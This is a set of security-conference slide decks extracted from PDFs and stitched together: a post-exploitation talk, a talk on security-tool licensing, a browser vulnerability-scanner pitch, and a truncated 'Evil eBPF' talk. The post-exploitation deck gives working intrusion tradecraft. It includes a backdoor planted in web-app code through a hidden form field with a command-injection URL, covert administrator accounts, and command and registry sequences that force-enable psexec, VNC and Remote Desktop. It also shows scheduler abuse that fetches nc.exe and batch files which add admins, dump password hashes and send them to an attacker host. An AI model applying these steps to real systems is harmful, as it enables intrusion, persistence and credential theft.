Slide: 1 Meta-Post Exploitation Val Smith ([email protected]) Colin Ames ([email protected]) Using Old, Lost, Forgotten Knowledge Slide: 2 Valsmith – Affiliations: • Offensive Computing • Metasploit • cDc – Work: • Malware Analyst • Reverse Engineer • Penetration Tester • Exploit developer Slide: 3 Colin Ames – Security Researcher, Offensive Computing – Steganography Research – Penetration Testing – Reverse Engineering – Malware Analysis Slide: 4 • What is this? – Follow up to Val’s and HD Moore’s Tactical Exploitation talk from last year – A talk about the use of automation and tactical tools post-exploitation – Applied techniques – Good for LARGE environments – Different perspectives: some old, some forgotten, some new Slide: 5 Post Exploitation Concepts Overview Slide: 6 What Is Post Exploitation? • It’s what you do after you get root – Note: This talk assumes you have access • Includes – Password Management – Persistence – Stealth / Evading Detection – User Identity Theft – Feature Modification – Automation & Mass 0wnage Slide: 7 What Is Post Exploitation? • Getting root is just the beginning – How do you spread? – How to manage assets as you go along? • Lots of tools to help you get root: – Metasploit, Core, Canvas, Stand alone • But what about after breaking in – Lots of random tools – Little automation / standardization – Archaic, hard to use, poorly documented – Maliciousness often obvious – Not Scalable to 1000’s of hosts (ignoring botnets for this talk) Slide: 8 Password Management Slide: 9 Why Password Management? – Large pentests, 1000’s of passwords – Testing a cracked password on many systems can be time consuming – Keeping track of cracking sessions – Building and growing your wordlist lets you crack faster – Aids in cleanup stage • Tying accounts to systems Slide: 10 Password Management Goals – Acquired password storage – Organization and tracking • What passwords go with which hosts • What passwords are shared • Which users have access to what resources – Re-use for further access – Expanding wordlist for faster cracking Slide: 11 Password Management Stages & Techniques – Acquiring: pwdump, cat /etc/shadow, cachedump, sql query, sniffing – Decisions: Prioritize accounts to crack – Cracking: John, l0pht, Cain – Tracking: Nothing? – Reusing: Core Impact Slide: 12 Manual Password Management • Existing Tools – L0phtCrack • Stores passwords in session files – Cain&Abel • Static table, difficult to export / use / automate • Password Classification (NTLM, Cisco, SQL, md5) – Core Impact • Good for automated reuse of passwords against many hosts • No real storage / management capability – Text file / John the Ripper • Many people’s method • Quick and dirty, not easily scalable Slide: 13 Slide: 14 • MetaPass • Demos Slide: 15 Persistence Slide: 16 A word on Stealth vs Persistence – In the old days a rootkit helped you maintain root – Today rootkits are all about hiding – These two concepts still go hand in hand Slide: 17 Persistence • Persistence is maintaining access • Why? – Target’s can get patched – Some exploits are 1 shot only – Sometimes you need to return multiple times to the target – Target’s usefulness not always immediately known • Goals: Access target as often as needed/useful • Huge area of study • Sometimes persistence doesn’t matter Slide: 18 Persistence • Stages of Persistence – Initial access: • Exploit • Stolen password, etc. – Decisions: What tool to use • FUZZY – OS, Environment, Target dependent – Setup – Re-accessing of target – Cleanup: Don’t be a slob, it will get you caught • When you no longer need the target, leave no trace Slide: 19 Persistence • Existing tools – Rootkits – Backdoors – Trojans – Port knockers – Adding accounts – Things like netcat backdoors, inetd modifications, process injection, stealing credentials, etc. Slide: 20 Persistence • Different perspective on persistence – If you can always re-exploit who cares – Inject, add, modify new vulnerabilities • Hard to determine maliciousness • We all know its hard to find bugs, now imagine someone is purposefully putting the bugs in Slide: 21 Persistence • Leveraging existing persistent admin access • Nagios checks • Attack Configuration Management – Cfengine – SMS – Automated Patching Systems (“patch” them with our trojans) • GUI’s • Tool distribution Slide: 22 Persistence • Example: • Machine has VNC installed • Replace installed VNC with vulnerable version – Authentication bypass • Copy registry password so target doesn’t realize • Persistence with no backdoors or rootkits to get detected Slide: 23 Persistence • Add vulnerable code • Example: web apps – Take out user input validation – Inject your vulnerable code • Focus on vague intent • Never be obviously and solely malicious – Look for apps with previous vulnerabilities – Re-introduce patched bugs Slide: 24 Persistence • More web app examples • Add hidden field to HTML form – Users detect no change, app performs normally <input type=“hidden” name=“Lang”> • Edit web app and tie vuln perl code to form field input If defined $hidden_field { open($filename,”>$hidden_field); } • Craft a POST including the hidden field Slide: 25 Persistence • www.target.com/cgi-bin/app.cgi?lang=|cmd| • Code will execute your commands • Who needs to bind a shell to a port? • Unlikely to ever be detected – Especially good in big apps – Code review can’t even be sure of maliciousness – Some sites replace code every X time period • No rootkits to install • Tripwire probably won’t see this Slide: 26 Persistence • Take concept to another level – Add a decoder to web app – Look for a “trigger” string combination in form fields – If Name = John Smith and Age = 42 then execute contents of Address field – URL encode form entries containing commands – Have identifier “stub” in encoded data for app to find Slide: 27 Persistence • Mixing Stealth with Persistence – Further encoding – Take entries from all fields – Concat them – “Decode” commands – Rotational Ciphers (rot 13, ceaser) – Even more complex obfuscation Slide: 28 Persistence • Covert Accounts – Add an account / renable – Modify local account policies to allow access • Ex. SUPPORT_3848576b1, guest – Add it to the admin group (net localgroup) • Only use AT to run your commands • Persistence without adding files, new accounts – Unlikely to be discovered Slide: 29 • DEMOS Slide: 30 Stealth / Evading Detection Slide: 31 Stealth / Evading Detection • Hiding your activity – From: • IDS • A/V • LOGGING • Suspicious users & admins • Firewalls • Process listing Slide: 32 Stealth / Evading Detection • Why Stealth? – If you get caught, you get stopped – The longer you can operate undetected, the more you can accomplish – Admin’s won’t fix problems they don’t know exist (helps persistence) – On a pen test you should also be testing the organizations detection and response capabilities Slide: 33 Stealth / Evading Detection • Goals – Keep system operable • If it breaks you can’t use it • Someone will come fix it – Operate without fear of detection – Robustness • Hiding shouldn’t require constant attention – DON’T LOOK MALICIOUS! Slide: 34 Stealth / Evading Detection • Manual / Existing Tools – Rootkits, rootkits, rootkits – Meterpreter – Encryption • Shellcode Encoders for IDS evasion – Log cleaners – Packers – Covert channels / Steganography – Anti-analysis / anti-forensics • See all of OC’s other talks  • Also Vinnie Liu’s Metasploit research Slide: 35 Stealth / Evading Detection • Different Perspective – DON’T BE AN ANOMALY! – Hide in plain sight • Many tools have ONLY malicious uses • Make your intent hard to determine – Be noisy on one to divert attention from another Slide: 36 Stealth / Evading Detection • Different Perspective – Know the targets environment better than they do • If they don’t use encryption, maybe you shouldn’t either • Change strategies to match environment's normal behavior – Don’t always default to exploits • See Tactical Exploitation talk • IDS’s can’t see normal behavior that is malicious Slide: 37 Stealth / Evading Detection • Using Windows security objects for stealth – Auditing of Securable Objects is controlled by SACL’s – Null SACL = No Auditing = No Logs Slide: 38 • DEMOS – Kaspersky squeals like a pig Slide: 39 User Identity Theft Slide: 40 User Identity Theft • It’s not always about ROOT! • Look like someone else – Use the credentials / access of another user • Goals – Change your identity at will • User ID, domain credentials, sessions • Impersonate system accounts • Make activities look like normal user behavior Slide: 41 User Identity Theft • Stages and techniques – Target users • Who has access to what • Where is the data? – Change Identity • Hijack credentials/sessions • Abuse tokens – Access is the end goal, be it data or another system Slide: 42 User Identity Theft • Existing tools – Incognito (metasploit) • Enumerate / hijack tokens – FU/FUTO • Enable SYSTEM privileges • Change process privileges DKOM – SU / SUDO / KSU – Process injection – Hijack domain credentials Slide: 43 User Identity Theft Tokens, Privileges, Security Descriptors, SID’s, SACL’s, DACL’s, ACE’s Oh’ My • What we want – Privileges or SID’s • What we get – Access, Access, Access • How we get it – Incognito vs. FUto Slide: 44 • DEMOS Slide: 45 Feature Modification Slide: 46 Feature Modification • Changing existing features or settings to benefit our activities • Goals – Support all Post-Exploitation activities – Disabling detection technologies – Enabling in-secure or easy to use access software Slide: 47 Feature Modification • Feature Modification is Basically Securable Object Manipulation – Remember all those Tokens, and Security Descriptors? – These can be modified programmatically and directly • Not just through existing tools – Stealth / Persistence requirements • May make it more advantageous to use custom tools – Access Objects programmatically – Can be much more complex to implement Slide: 48 Feature Modification • Re-enabling disabled access – PsExec: It’s still cool (Thanks Mark!) • Enabling GUI access – VNC (from a command line) – Remote Desktop (even if disabled) • Turning off or adding exceptions to security software – Firewalls, AV, logging • Modifying Local Security Policies Slide: 49 Feature Modification • Enabling psexec – Psexec was great, awesome remote shell/command tool – Everybody now disables clipbook which psexec requires l4m3  – Lets re-enable it ! Slide: 50 Feature Modification • Enabling psexec • Use the system control tool sc.exe – Net use \\target\ipc$ username /user:password – Sc \\target config netdde start= auto – Sc \\target config netddedsdm start= auto – Sc \\target config clipsrv start= auto – Sc \\target start netdde – Sc \\target start netddedsdm – Sc \\target start clipserv Slide: 51 Feature Modification • Enabling VNC (from command line) – Go get VNC (check out guh.nu!) – Make a folder on the target for the vnc files – Copy the following files to target folder: • Winvnc.exe • Vnc.reg • Vnchooks.dll • Omnithread_rt.dll – Regedit –s vnc.reg – Winvnc –install – Net start “vnc server” – Winvnc – Password is “infected” Vnc.reg file contents: [HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3\Default] "SocketConnect"=dword:00000001 "AutoPortSelect"=dword:00000001 "InputsEnabled"=dword:00000001 "LocalInputsDisabled"=dword:00000000 "IdleTimeout"=dword:00000000 "QuerySetting"=dword:00000002 "QueryTimeout"=dword:0000000a "PollUnderCursor"=dword:00000000 "PollForeground"=dword:00000001 "PollFullScreen"=dword:00000000 "OnlyPollConsole"=dword:00000001 "OnlyPollOnEvent"=dword:00000000 "Password"=hex:10,4d,89,3d,5a,e1,55,f8 Slide: 52 Feature Modification • Enabling Remote Desktop remotely – Having a GUI to your target can be necessary – Maybe they are running a specialized GUI app • Ex. System controlling access to security doors – No command line way of modifying system, need GUI • SCADA systems? • Security cameras • Who knows what you might be up to  – Remote desktop is fast and already a feature of OS – However it’s often disabled, maybe even by GPO Slide: 53 Feature Modification • Enabling Remote Desktop remotely – Complicated procedure, especially if GPO’s involved – Create a file named fix_ts_policy.ini [Unicode] Unicode=yes [Version] signature="$CHICAGO$" Revision=1 [Privilege Rights] seremoteinteractivelogonright = hacked_account seinteractivelogonright = hacked_account sedenyinteractivelogonright = sedenyremoteinteractivelogonright = sedenynetworklogonright = – This file will fix policy settings in your way – Change “hacked_account” to a real account Slide: 54 Feature Modification • Enabling Remote Desktop remotely – Create another file named enable_ts.reg Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] "fDenyTSConnections"=dword:00000000 "TSEnabled"=dword:00000001 "TSUserEnabled"=dword:00000000 – Then perform these commands • sc config termservice start= auto • regedit /s enable_ts.reg • copy c:\windows\security\database\secedit.sdb c:\windows\security\database\new.secedit.sdb • copy c:\windows\security\database\secedit.sdb c:\windows\security\database\orig.secedit.sdb • secedit /configure /db new.secedit.sdb /cfg fix_ts_policy.ini • gpupdate /Force • net start "terminal services" Slide: 55 • DEMOS Slide: 56 Abusing The Scheduler Slide: 57 Abusing The Scheduler • Oldschool techniques can get results on new problems • Remember this is POST exploitation so you already have some access • AT command schedules things to run on at a specified time and date – Schedule service must be running Slide: 58 Abusing The Scheduler • Often these days certain features are disabled for security – Clipbook, shares, enumeration • Use AT to get around these problems – Usually NOT disabled Net use \\target\ipc$ password /user:username At \\target 12:00 pm command Ex. At \\192.168.1.1 12:00pm tftp –I myip GET nc.exe Slide: 59 Abusing The Scheduler • Often AT is still enabled while many other things you typically use are not • AT is as good as having a shell: – Enable / Start Services – Transfer files – Adding users – Messing with the registry / policies – Pretty much anything you can do with a shell – Added bonus, defaults to run as SYSTEM Slide: 60 Abusing The Scheduler • Building a tool around AT – Flow: • Establish authenticated session • Determine the time on the target • Pass commands to the target to be run 1 min from now – Write a batch file that executes everything at once – Have the target send you back whatever info you want – Be mindful of file transfer protocols, TFTP is good but not always “quiet” or available Slide: 61 Abusing The Scheduler • Common use example – Net use \\target – Net time \\target – At \\target (net time +1min) “tftp –i use GET e.bat” – At \\target (net time +2min) e.bat – e.bat does: • Adds a user (net user hacked hacked /add) – Admin group (net localgroup administrators hacked /add) • Gets hashdumping tools and dumps hashes • Sends hashes, identified by IP back to attacker host Slide: 62 Abusing The Scheduler • Privileges of LocalSystem that we care about – NT AUTHORITY\SYSTEM and BUILTIN\Administrators SIDs – SE_IMPERSONATE_NAME – SE_TCB_NAME – SE_DEBUG_NAME Slide: 63 Massive Automation Slide: 64 Massive Automation • Automating techniques and tools for use against massive numbers of hosts • Goals – Penetrate as many systems as possible with little interaction and in a short time – Ease of use / re-use – Lower cost of attack Slide: 65 Massive Automation • MassNetUse – Establish netbios session / credentials on range of hosts • MassWinenum – Enumerate Netbios information, bypass certain RestrictAnonymous settings • AtAbuse – Use the scheduler as your “shell” to control ranges of hosts Slide: 66 • DEMOS Slide: 67 • Related talks you should see – Beyond EIP – The theoretical / tool development end of things (spoonm & skape) – Security Implications of Windows Access Tokens (Luke Jennings) Slide: 68 • Acknowledgements – Thanks to • All the people from #offensivecomputing, nologin, uninformed IRC and SILC channels • HD Moore especially for support and mentorship • Danny Quist, krbklepto, Egypt, spoonm, skape • Luke Jennings for his awesome work Slide: 69 • Questions ? • Presentation available at www.offensivecomputing.net
pdf
Trends in Licensing of Security Tools Chuck Willis DefCon 13 July 2005 Most recent slides available at: http://www.securityfoundry.com/ Purpose ● Discuss license trends and how they affect the security community ● Discuss how licensing can be improved (if necessary) ● Educate security tool users about license requirements to avoid infringements *** This session should be interactive *** Disclaimers ● I will mention specific tools later that have various license restrictions – This is not meant to be a critique of that tool or its author(s) – I believe that all of the authors of the security tools mentioned have done a service to the community by releasing the tools ● This session is not a substitute for reading tool license agreements About Me ● I do not work for a commercial consulting or software company ● I am not a Free Software zealot ● I am not a lawyer, this is not legal advice About Me ● I think I am a typical security tool user: – I use Linux and Windows primarily, occasionally other Unix variants – I am not an expert programmer or developer – I compile tools (on Unix and Windows) – I debug compilation issues, including issues in porting to a different platform – I build small tools and scripts to automate tasks – I modify tools to better suit my needs – I share tools and tool modifications with others Motivation ● I use a lot of security tools ● I read the licenses ● I have been surprised by some of the licenses ● Over the years, I have noticed some trends in the licenses of tools Example License for Wikto: http://www.sensepost.com/research/wikto/ Copyright (C) 2004,2005 SensePost Research This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License (...) Additionally, should you find this software useful you should buy a drink of their choice to the contributors, if you bump into them at a conference, but of course…nobody ever reads this fine print. Scope ● This session will cover tools that can be obtained and used without cost for at least some purposes, but: – Not strictly commercial tools – Not Open Source tools (OSI Certified license) ● This session will consider running and redistributing the (perhaps modified) tool ● This session does not consider selling someone else's tool or a derived work (most licenses restrict this) Open Source Tools ● There are a lot of great security tools released under an OSI Certified license: – NMap: http://www.insecure.org/ – Ethereal: http://www.ethereal.com/ – Metasploit Framework: http://www.metasploit.com/ – Sleuthkit and Autopsy: http://www.sleuthkit.org/ – WebScarab: http://www.owasp.org/software/ webscarab.html – Paros Web Proxy: http://www.parosproxy.org/ – Kismet: http://www.kismetwireless.net/ – Hping: http://www.hping.org/ – Nikto: http://www.cirt.net/code/nikto.shtml – Many, many others Licensing Trends I Have Noticed (feel free to disagree) More tools require payment or permission for some uses ● Some are free of cost for some uses, but do not indicate price or payment method for other uses ● Examples: – THC-RUT: http://www.thc.org/thc-rut/ – Foundstone Tools: http://www.foundstone.com/ resources/freetools.htm – Registered plugins for Nessus: http://www.nessus.org/plugins/ – VRT Certified Rules for Snort: http://www.snort.org/rules/ – HTTPrint: http://net-square.com/httprint/ More tools restrict redistribution ● Users can only get the tool from the author ● What if author is no longer available? ● Examples: – Sysinternals Tools: http://www.sysinternals.com/ – Netstumbler: http://www.netstumbler.com/ – Foundstone Tools – Registered plugins for Nessus – VRT Certified rules for Snort More tools prohibit modification and reverse engineering ● Denies users the ability to customize tool and fix bugs themselves ● Examples: – Cain and Abel: http://www.oxid.it/cain.html – Foundstone Tools – Registered plugins for Nessus – Netstumbler More tools are distributed without source code ● Not a license issue, strictly speaking, but lack of source code prevents easy modifications, improvements, and bug fixes by users ● Source code is valuable for users and others to look at and learn from ● Source code is necessary if users wish to port tool to another platform ● Tools that do not include source code often run on Windows only More tools are distributed without source code ● Examples: – Achilles: http://www.mavensecurity.com/achilles – Brutus: http://www.hoobie.net/brutus/ – Sam Spade for Windows: http://www.samspade.org/ssw/ – Odysseus: http://www.wastelands.gen.nz/odysseus/ – Netstumbler – Cain and Abel – Foundstone Tools Some tools require credit in consulting reports ● Examples: – THC-Hydra: http://thc.org/thc-hydra/ – THC-Amap: http://thc.org/thc-amap/ From THC-Amap's License: ... 4. If this tool is used while providing a commercial service (e.g. as part of a penetration test) the report has to state the tools name and version, and additionally the author (van Hauser and Dj RevMoon) and the distribution homepage (http://www.thc.org) ... Some tools and authors are inconsistent in their license ● Sometimes the license on the tool’s Web site is different from the license that comes with the tool ● Example: THC-Hydra and THC-Amap both ship with slightly different licenses from what is on their web sites Some tools and authors are inconsistent in their license ● Sometimes the author contradicts a tool's license ● Examples: – Foundstone's HacmeBooks and HacmeBank ● License states they are for “personal and non- commercial use” ● Emails with authors indicate commercial use on an internal lab is acceptable – Registered plugins for Nessus ● License prevents reverse engineering or modifying plugins ● Mailing list posts state that modifying the plugins and posting changes to the mailing list is acceptable Many tools lack a clearly defined license ● The license may be in the tool distribution, just hard to find ● The license may not be present at all ● The license may be incomplete, it may not address some issues and uses ● The tool may be a small exploit, script, or patch that is posted in an online forum without a license specified Many tools lack a clearly defined license ● Examples: – enum: http://www.bindview.com/Services/ RAZOR/Utilities/Windows/enum_readme.cfm – Hobbit's original netcat: http://packetstormsecurity.org/UNIX/utilities/nc110.tgz – John the Ripper: http://www.openwall.com/john/ ● Solar Designer is aware of the issue with version 1.6 ● Version 1.7 will be released under the GPL – SQLSecurity.com Free Tools: http://sqlsecurity.com/DesktopDefault.aspx?tabid=26 Many tools lack a clearly defined license ● More Examples: – Brutus – Odysseus – Achilles – Almost all mailing list, bulletin board, and newsgroup postings – Almost all exploits – Many more... Discussion: Do you agree that these trends exist? Discussion: Overall, is the current state of security tool licensing good or bad? Discussion: What would you do to improve it? My Suggestions (feel free to disagree) Tool Users ● Read and follow tool licenses ● Don't use the tool if you don't like or cannot follow the license ● Politely work with tool writers to clarify any ambiguous or lacking licenses ● Don't use legal trickery to follow the letter of the license and violate the spirit of the license Tool Writers ● Follow the license for any other software that you incorporate into your tool ● Choose a license or licenses and include them with every tool ● Remember: you are the copyright holder, you can add an additional license to the same tool or a derivative work at any time Tool Writers ● Avoid over-licensing. Do not use an overly restrictive license for a relatively simple tool. ● Say what you mean in the license and mean what you say. Do not restrict something in the license and then tell people in other ways that it is acceptable. ● If the tool is meant to be “Open Source”, use a standard, OSI Certified license instead of making up your own (http://opensource.org/) Tool Writers ● If payment is required for selected uses: – Make the cost reasonable and easy to find – Make finding and following purchasing instructions easy for the users – Specify what upgrades (if any) are included in purchase price – Specify what support (if any) is included in the purchase price – Consider offering bundles of programs (possibly from other authors) in one purchase to ease administrative burden on users Tool Writers ● If payment is required for selected uses: – Clearly define those uses, considering: ● Commercial Users – Testing and development use – Internal company use – External and consulting use ● Educational Institutions (K-12, College, Universities; Private and Public) ● Government Entities (Local, State, National) ● Charitable Organizations ● Other Non-Profit Entities ● Home Users Tool Writers ● If you wish to restrict redistribution of the tool, I recommend against disallowing it entirely: – Allow users to redistribute directly to other users or potential users – Allow anyone to distribute the tool widely in the event that the tool is no longer available from the original source Tool Writers ● Make source code available and allow: – Modification for internal use so users can easily and legally address simple bugs, porting issues, and tool improvements themselves – Users to distribute modifications to one another ● Ensure that the source code is complete, including build files and any modified libraries ● Include at least a short description of how to build the tool Tool Writers ● Make tool license clear and consistent: – Post license on the Web site, accessible before downloading the tool – Including a summary of the license on any release notices or news items – Include the license in the tool distribution, in a file named “COPYING”, “LICENSE”, or similar – Include the license or a summary of the license in the tool's online help – Summarize the license when presenting the tool at conferences and similar events Conference and Training Organizers ● Consider requiring that tools presented be made available to conference attendees free of cost for all purposes ● Ensure that presenters make license clear for tools presented ● Ensure licenses are clearly indicated for tools provided to attendees ● Ensure that tool licenses are not violated if tools are included with conference materials Online Forum Administrators ● Decide on a “default” license for scripts and code posted ● I recommend making postings fall under the MIT license or a BSD-style license ● Patches to existing tools should be by default, dual-licensed under: – Forum's default license – Existing tool's license Online Forum Administrators ● Decide if posting under a different license will be allowed. In particular, postings under a license that restricts redistribution may cause problems with mailing list archives. ● Make clear to current members and to new members the forum's license policy. Include such information in any FAQ or Web site for the forum. Conclusions, Comments, and Questions Trends in Licensing of Security Tools Chuck Willis DefCon 13 July 2005 Most recent slides available at: http://www.securityfoundry.com/
pdf
What is wrong with security? What is wrong with security? • Good security says you shouldn’t make assumptions. • Most security products make this same mistake. • This should be called Voodoo security… IDS/IPS • They analyze traffic. • They determine good traffic from bad traffic – With signatures written based on a vulnerability. – With samples of known bad traffic. • They do clear cut detection of good from bad, they are incapable of determining intent of traffic. What if? • Pedestrians on the web were not unarmed… • Every website got scanned for security vulnerabilities when an indiviaul surfer visits it… • Every web surfer has a vulnerability scanner built-in to the browser… Introducing… • Barrier • Barrier is a vulnerability scanner that is installed in a browser and automatically checks websites for common security vulnerabilities. • This is good for consumers, bad for security companies. – In order to be useful an IDS or IPS will have to determine the intent of the traffic now. Barrier Demo
pdf
Evil eBPF Practical Abuses of an In-Kernel Bytecode Runtime Jeff Dileo DEF CON 27 call_usermodehelper("/bin/sh",(char*[]){"/bin/sh","-c","whoami",NULL},NULL,5) • @chaosdatumz • Agent of chaos • Unix aficionado • Principal Consultant / Research Director @ NCC Group • I like to do terrible things to/with/in: • programs • languages • runtimes • memory • kernels • packets • bytes • ... Outline • Introduction to eBPF • On Using eBPF for Malign Purposes • Tooling Up to Build a Birdfeeder (of Dooooom!) • The IPC You Don’t See • Reliable Corruption • On Fighting Wizards and Dragons • Q&A eBPF — Background • “extended” BPF • What is “BPF”? BPF • Berkeley Packet Filter • Limited instruction set for a bytecode virtual machine • Originally created to implement FAST programmatic network filtering in kernel • has a few (2) 32-bit registers (and a hidden frame pointer) • load/store, conditional jump (forward), add/sub/mul/div/mod, neg/and/or/xor, bitshift BPF • tcpdump -i any -n 'tcp[tcpflags] & (tcp-syn|tcp-ack) != 0' (000) ldh [14] (001) jeq #0x800 jt 2 jf 10 (002) ldb [25] (003) jeq #0x6 jt 4 jf 10 (004) ldh [22] (005) jset #0x1fff jt 10 jf 6 (006) ldxb 4*([16]&0xf) (007) ldb [x + 29] (008) jset #0x12 jt 9 jf 10 (009) ret #262144 (010) ret #0 eBPF • “extended” Berkeley Packet Filter • “designed to be JITed with one to one mapping” • “originally designed with the possible goal in mind to write programs in ‘restricted C’” • socket filters, packet processing, tracing, internal backend for “classic” BPF, and more... • Many different APIs exposed through the bpf(2) syscall • The main ones are for loading/interacting with eBPF programs and ”maps” • Programs can be one of several types • Maps are in-kernel structures shared between kernel space eBPF code and userspace program code eBPF — High Level Overview • eBPF’s virtual ISA is featureful enough to support C • The kernel places restrictions on eBPF programs to prevent it from breaking the kernel • eBPF programs are created through the bpf(2) syscall • Pass in an array of eBPF instructions and an eBPF program type • The type dictates the set of out-of-sandbox APIs the eBPF code can call • eBPF maps are also created through the bpf(2) syscall • Generally loaded first so that loaded eBPF programs can reference them by their FD • eBPF program FDs are then attached to kernel structures using type specific kernel APIs • The programs are then invoked to process type- and attachment-specific events eBPF — Things to Keep in Mind • The interesting eBPF features require CAP_SYS_ADMIN • Without that, the only program types that can be loaded are BPF_PROG_TYPE_SOCKET_FILTER and BPF_PROG_TYPE_CGROUP_SKB • And the latter requires CAP_NET_ADMIN to attach • The BPF helper functions do all of the heavy lifting and interesting work • If you want to read/write data outside of the eBPF non-Turing-tarpit, you need them • eBPF’s validator (“verifier”) can be very pedantic about what eBPF programs can and can’t do • This talk will not be covering the validator in depth • For information on living with it, see our 35C3 talk Why eBPF? • eBPF offers a lot of new features to play around with • Originally created for (performant) packet processing, now applied to everything in the kernel • While the interesting capabilities require high privileges, eBPF only has two modes • Unprivileged (basic socket filters, not very useful on their own) • ALL THE PRIVILEGES (everything else) • Everything that uses eBPF for wholesome endeavors runs fully privileged • And are hard to sandbox Why (Evil) eBPF? • eBPF offers a lot of new features to play around with • Originally created for (performant) packet processing, now applied to everything in the kernel • While the interesting capabilities require high privileges, eBPF only has two modes • Unprivileged (basic socket filters, not very useful on their own) • ALL THE PRIVILEGES (everything else) • Everything that uses eBPF for wholesome endeavors runs fully privileged • And are hard to sandbox Why (Evil) eBPF? • eBPF offers a lot of new features to play around with • Originally created for (performant) packet processing, now applied to everything in the kernel • While the interesting capabilities require high privileges, eBPF only has two modes • Unprivileged (basic socket filters, not very useful on their own) • ALL THE PRIVILEGES (everything else) • Everything that uses eBPF for wholesome endeavors runs fully privileged • And are hard to sandbox So, what is this talk about? SHENANIGANS An Evil Agenda • A Treatise on Evil eBPF Tooling • Abusing eBPF for IPC • Unprivileged API abuses • Privileged API shenanigans • “Post-exploitation” with eBPF • Privileged API shenanigans On Developing eBPF-Based Things • Several hurdles with developing eBPF-based programs • Compiling eBPF code into something loadable by the kernel • Interacting with the kernel and userspace from eBPF code • Interacting with the eBPF code from userspace • Lack of portability/deployability due to runtime dependencies (headers, shared libs, etc.) • In the typical Linux fashion, there are are many choices • And most are painful or have complicated tradeoffs Choosing Your Level of eBPF Abstraction There are three main choices for eBPF development toolchains: • Raw eBPF instructions written by hand using a C macro DSL • Often used for very simple examples • Direct use of LLVM/Clang to compile C files into eBPF ELF files • Linux kernel build infrastructure (pulls in headers, but slow build times) • e.g. samples/bpf/ and tools/bpf/ • Out-of-tree development (need to manage headers, but fast build times) • High-level APIs that compile and load strings of a custom DSL C dialect • iovisor/bcc (Python) • iovisor/gobpf There are several (overlapping) ways to invoke eBPF APIs: • Raw syscalls (libcs do not ship syscall wrappers for eBPF) • libbpf (provides syscall wrappers and more) • bpf_load.c (actual deep magic!) Choosing Your Level of eBPFAbstraction — Raw eBPF • Like raw water, will give you cholera • Very portable (not potable), but basically useless for anything worth writing struct bpf_insn prog[] = { BPF_LD_MAP_FD(BPF_REG_2, map_fd), BPF_MOV64_IMM(BPF_REG_3, 3), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_tail_call), BPF_MOV64_IMM(BPF_REG_0, -1), BPF_EXIT_INSN(), }; size_t insns_cnt = sizeof(prog) / sizeof(struct bpf_insn); char bpf_log_buf[2048]; int prog_fd = bpf_load_program(BPF_PROG_TYPE_SOCKET_FILTER, prog, insns_cnt, "GPL", 0, bpf_log_buf, 2048 ); Choosing Your Level of eBPFAbstraction — Direct LLVM/Clang • Clean water, but with a few hurdles: • Correctly exposing the right kernel headers • I like the (xdp-project/xdp-tutorial) toolchain (mimics in-tree dev, hackable build system) • Preprocessing/instrumentation (e.g. auto-wiring of maps into eBPF instructions and userland) • Both libbpf and bpf_load.c do this to different degrees int filter(struct __sk_buff *skb) { payload_t p; switch (filter_type) { case (RAW_SOCKET_FILTER): p = parse_packet_from_to(skb, ETHERNET_LAYER, APPLICATION_LAYER); break; ... uint32_t index = 0; size_t* v = bpf_map_lookup_elem(&my_map, &index); ... size_t l = p.len; char* c = (char*)&v[4]; #pragma unroll for (size_t i=0; i < 32; i++) { if (l > 0) { bpf_skb_load_bytes(skb, p.offset + i, &c[i], 1); l--; } } Choosing Your Level of eBPFAbstraction — High-LevelAPIs • Branwdo, the thirst mutilator; it’s got what eBPF programs crave • Make certain (specialization aligned) tasks much easier • Add a lot of magic that can make it hard to reason about how code actually runs • And can make it hard to directly interface with lower-level/unsupported APIs when needed • Requires non-trivial toolchain to exist on the system running the code from bcc import BPF program = """ #include <asm/ptrace.h> // for struct pt_regs #include <linux/types.h> // for mode_t int kprobe__sys_openat(struct pt_regs *ctx, int dirfd, char __user* pathname, int flags, mode_t mode) { bpf_trace_printk("sys_openat called.\\n"); return 0; } """ b = BPF(text=program) b.trace_print() Choosing Your Level of eBPFAbstraction — Evil Edition • In general, it’s probably best to go with the direct LLVM/Clang approach • We need maximum portability with limited support from our operating environment • Ideally, we would statically link everything into a single binary without runtime dependencies • So we can drop a binary that ”just works” • This is easy to implement with simple modifications to the xdp-project/xdp-tutorial Makefiles • BCC/gobpf cannot reasonably do this • Additionally, while BCC is quick to pick up, dealing with its abstractions takes its toll over time • But it’s still very useful for kernel tracing Evil IPC eBPF Map Primer • Generally, eBPF maps are used to interface eBPF programs with userland processes eBPF Map Primer • Generally, eBPF maps are used to interface eBPF programs with userland processes • But eBPF maps do not actually need to be attached to an eBPF program • Userland processes can use them as a way to store data off-process eBPF Map Primer • Generally, eBPF maps are used to interface eBPF programs with userland processes • But eBPF maps do not actually need to be attached to an eBPF program • Userland processes can use them as a way to store data off-process • Additionally, eBPF maps are interacted with through their FDs eBPF Map Primer • Generally, eBPF maps are used to interface eBPF programs with userland processes • But eBPF maps do not actually need to be attached to an eBPF program • Userland processes can use them as a way to store data off-process • Additionally, eBPF maps are interacted with through their FDs • As a result they can be passed between processes using system APIs that transfer FDs Map Transit IPC via passing eBPF maps between processes and reading/writing them to send messages 1. In a userspace C program, create a BPF_MAP_TYPE_ARRAY map int fd = bpf_create_map_node( BPF_MAP_TYPE_ARRAY, "mymap", sizeof(uint32_t), 256, 2, 0, 0 ); 2. Use Unix domain sockets, or a similar API, to pass the map FD to a cooperating process 3. Assign index 0 for messages sent by the map creator process 4. Assign index 1 for messages sent by the cooperating process Map Transit (2) 5. To send messages, use bpf_map_update_elem char buf[256] = "hello world"; uint32_t key = 0; bpf_map_update_elem(fd, &key, buf, BPF_ANY); 6. To receive messages, use bpf_map_lookup_elem char buf[256]; uint32_t key = 0; while (bpf_map_lookup_elem(fd, &key, &buf)) { sleep(1); } Map Transit — Warning! • All facets of eBPF maps are managed by the kernel Map Transit — Warning! • All facets of eBPF maps are managed by the kernel • Including the sizes of their values Map Transit — Warning! • All facets of eBPF maps are managed by the kernel • Including the sizes of their values • Due to this, blindly receiving and operating on eBPF map FDs is extremely dangerous • Reads from an eBPF map can overflow the target • Writes to an eBPF map can overread past the source Map Transit — Warning! • All facets of eBPF maps are managed by the kernel • Including the sizes of their values • Due to this, blindly receiving and operating on eBPF map FDs is extremely dangerous • Reads from an eBPF map can overflow the target • Writes to an eBPF map can overread past the source • Make sure to get and validate the type and size metadata from any 